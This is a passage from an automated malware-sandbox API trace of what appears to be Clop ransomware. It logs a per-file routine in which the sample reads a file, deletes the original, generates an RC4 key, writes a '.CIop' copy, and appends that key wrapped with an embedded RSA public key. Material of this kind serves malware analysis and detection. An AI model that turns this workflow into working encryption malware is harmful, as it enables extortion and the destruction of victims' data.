MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.139] lstrcpyW (in: lpString1=0x347f368, lpString2="HotGIrls" | out: lpString1="HotGIrls") returned="HotGIrls" [0099.140] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.140] SetErrorMode (uMode=0x1) returned 0x1 [0099.140] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HotGIrls") returned 38 [0099.140] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HotGIrls", dwFileAttributes=0x20) returned 1 [0099.140] StrStrW (lpFirst="HotGIrls", lpSrch=".CIop") returned 0x0 [0099.140] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HotGIrls.CIop") returned 43 Thread: id = 154 os_tid = 0x4f8 [0099.141] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.141] lstrcpyW (in: lpString1=0x357f368, lpString2="xBTg.bmp" | out: lpString1="xBTg.bmp") returned="xBTg.bmp" [0099.141] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0099.141] SetErrorMode (uMode=0x1) returned 0x1 [0099.141] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp") returned 110 [0099.141] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp", dwFileAttributes=0x20) returned 1 [0099.141] StrStrW (lpFirst="xBTg.bmp", lpSrch=".CIop") returned 0x0 [0099.141] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp.CIop") returned 115 [0099.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\xbtg.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0099.142] ReadFile (in: hFile=0x58c, lpBuffer=0x656668, nNumberOfBytesToRead=0x14ec0, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x357e5e8*=0x14ec0, lpOverlapped=0x0) returned 1 [0099.143] CloseHandle (hObject=0x58c) returned 1 [0099.143] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\xbtg.bmp")) returned 1 [0099.160] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0099.160] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0099.160] SetErrorMode (uMode=0x1) returned 0x1 [0099.160] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f037a8) returned 1 [0099.162] CryptGenKey (in: hProv=0x2f037a8, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x648a78) returned 1 [0099.222] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0099.222] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x357e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0099.222] CryptDestroyKey (hKey=0x648a78) returned 1 [0099.222] CryptReleaseContext (hProv=0x2f037a8, dwFlags=0x0) returned 1 [0099.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\xbtg.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x578 [0099.223] WriteFile (in: hFile=0x578, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x14ec0, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x357e5d8*=0x14ec0, lpOverlapped=0x0) returned 1 [0099.224] SetFilePointer (in: hFile=0x578, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14ec0 [0099.224] WriteFile (in: hFile=0x578, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.225] SetFilePointer (in: hFile=0x578, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14ec7 [0099.225] SetErrorMode (uMode=0x1) returned 0x1 [0099.225] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.225] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.225] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0099.225] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f03478) returned 1 [0099.225] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03478, dwCertEncodingType=0x1, pInfo=0x649bf0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x648678) returned 1 [0099.225] CryptEncrypt (in: hKey=0x648678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0099.225] CryptEncrypt (in: hKey=0x648678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03830*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03830*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0099.225] WriteFile (in: hFile=0x578, lpBuffer=0x2f03830*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03830*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.225] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.263] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.264] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.264] CloseHandle (hObject=0x578) returned 1 [0099.266] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\xBTg.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\e6jxhv-d_ ucg59vks\\xbtg.bmp")) returned 0 Thread: id = 155 os_tid = 0x8a4 [0099.180] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.180] lstrcpyW (in: lpString1=0x347f368, lpString2="lGBL1f9.swf" | out: lpString1="lGBL1f9.swf") returned="lGBL1f9.swf" [0099.180] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.180] SetErrorMode (uMode=0x1) returned 0x1 [0099.180] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf") returned 41 [0099.180] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf", dwFileAttributes=0x20) returned 1 [0099.180] StrStrW (lpFirst="lGBL1f9.swf", lpSrch=".CIop") returned 0x0 [0099.180] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf.CIop") returned 46 [0099.180] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lgbl1f9.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x578 [0099.181] ReadFile (in: hFile=0x578, lpBuffer=0x643570, nNumberOfBytesToRead=0x21a5, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x643570*, lpNumberOfBytesRead=0x347e5e8*=0x21a5, lpOverlapped=0x0) returned 1 [0099.182] CloseHandle (hObject=0x578) returned 1 [0099.182] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lgbl1f9.swf")) returned 1 [0099.183] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0099.183] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0099.184] SetErrorMode (uMode=0x1) returned 0x1 [0099.184] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f03d80) returned 1 [0099.186] CryptGenKey (in: hProv=0x2f03d80, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648ab8) returned 1 [0099.239] CryptExportKey (in: hKey=0x648ab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0099.239] CryptExportKey (in: hKey=0x648ab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ee0000, pdwDataLen=0x347e5ec | out: pbData=0x2ee0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0099.239] CryptDestroyKey (hKey=0x648ab8) returned 1 [0099.240] CryptReleaseContext (hProv=0x2f03d80, dwFlags=0x0) returned 1 [0099.240] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lgbl1f9.swf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0099.240] WriteFile (in: hFile=0x5a4, lpBuffer=0x643570*, nNumberOfBytesToWrite=0x21a5, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x643570*, lpNumberOfBytesWritten=0x347e5d8*=0x21a5, lpOverlapped=0x0) returned 1 [0099.241] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21a5 [0099.241] WriteFile (in: hFile=0x5a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.241] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21ac [0099.241] SetErrorMode (uMode=0x1) returned 0x1 [0099.241] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.241] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.241] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0099.241] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f03fa0) returned 1 [0099.241] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03fa0, dwCertEncodingType=0x1, pInfo=0x64a340, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x648b38) returned 1 [0099.241] CryptEncrypt (in: hKey=0x648b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0099.241] CryptEncrypt (in: hKey=0x648b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03500*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03500*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0099.242] WriteFile (in: hFile=0x5a4, lpBuffer=0x2f03500*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03500*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.242] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.242] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.242] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.242] CloseHandle (hObject=0x5a4) returned 1 [0099.243] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lGBL1f9.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lgbl1f9.swf")) returned 0 Thread: id = 156 os_tid = 0x378 [0099.195] lstrcpyA (in: lpString1=0x367e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.195] lstrcpyW (in: lpString1=0x367f368, lpString2="-Z88RWVEKHn2YHbC6YS.gif" | out: lpString1="-Z88RWVEKHn2YHbC6YS.gif") returned="-Z88RWVEKHn2YHbC6YS.gif" [0099.195] lstrcpyW (in: lpString1=0x367f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.195] SetErrorMode (uMode=0x1) returned 0x1 [0099.195] wsprintfW (in: param_1=0x367eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif") returned 115 [0099.195] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif", dwFileAttributes=0x20) returned 1 [0099.196] StrStrW (lpFirst="-Z88RWVEKHn2YHbC6YS.gif", lpSrch=".CIop") returned 0x0 [0099.196] wsprintfW (in: param_1=0x367e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif.CIop") returned 120 [0099.196] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\-z88rwvekhn2yhbc6ys.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x578 [0099.197] ReadFile (in: hFile=0x578, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x80ff, lpNumberOfBytesRead=0x367e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x367e5e8*=0x80ff, lpOverlapped=0x0) returned 1 [0099.197] CloseHandle (hObject=0x578) returned 1 [0099.198] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\-Z88RWVEKHn2YHbC6YS.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\-z88rwvekhn2yhbc6ys.gif")) returned 1 [0099.230] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0099.230] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0099.230] SetErrorMode (uMode=0x1) returned 0x1 [0099.230] CryptAcquireContextW (in: phProv=0x367e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x367e5b8*=0x2f03d80) returned 1 [0099.245] CryptGenKey (in: hProv=0x2f03d80, Algid=0x1, dwFlags=0x4000, phKey=0x367e5bc | out: phKey=0x367e5bc*=0x6487f8) returned 1 [0099.297] 